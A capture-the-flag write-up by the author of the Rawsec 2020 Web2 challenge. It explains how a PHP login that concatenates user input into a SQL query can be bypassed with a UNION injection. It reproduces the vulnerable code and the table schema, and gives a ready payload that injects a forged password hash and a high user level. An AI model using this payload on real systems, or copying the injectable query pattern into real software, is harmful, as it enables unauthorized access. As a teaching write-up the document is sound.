..

Rawsec 2020 - Web2 Challenge Write-Up

Disclaimer: I’m the challenge author

rawsec-ctf1

As this challenge provide source code, we will just look into the source code.

In the source.zip contain 3 files.

db.sql
index.php
style.css

Soo… based on code you should realize that this is just textbook SQL Injection. Without dumping whole data from database, you can bypass the login mechanism by using UNION technique to pollute the variable was used in the login process.

The login mechanism:

if(!empty($_POST['username'])) {
 $q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");
 if($q->num_rows > 0) {
  // username exists
  $data = $q->fetch_object();
  if( password_verify($_POST['password'], $data->userpass) ) {
   // valid password
   if($data->userlevel >= 999) {
    $flag = include("flag.php");
    echo "<script>alert('Flag: ".$flag."');</script>";
   } else {
    echo "<script>alert('Insufficient user level :)');</script>";
   }
  } else {
   echo "<script>alert('Invalid username or password.');</script>";
  }
 } else {
  echo "<script>alert('Invalid username or password');</script>";
 }
}

In order to use UNION technique, you required to have same column number as original (first) query. at line number 9 index.php shown SELECT * query, mean that selecting all available column in the table.

$q = $mysqli->query("SELECT * FROM logins WHERE username = '" . $_POST['username'] . "'");

We refer to the db.sql, at CREATE TABLE statement, it has 5 columns.

CREATE TABLE `logins` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `userpass` varchar(255) NOT NULL,
  `userlevel` varchar(1) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;

Now we have all the information we need to do UNION technique. To generate hash that satisfy password_verify, please use following commands:

php -r "echo password_hash('yourpassword', PASSWORD_DEFAULT);"

After generate the hash. Our injection would be:

a' and 1=2 union select 1,2,'our generated hash',9999,3 -- a

and fill the password field with yourpassword Thats all, ciao

Full content of db.sql and index.php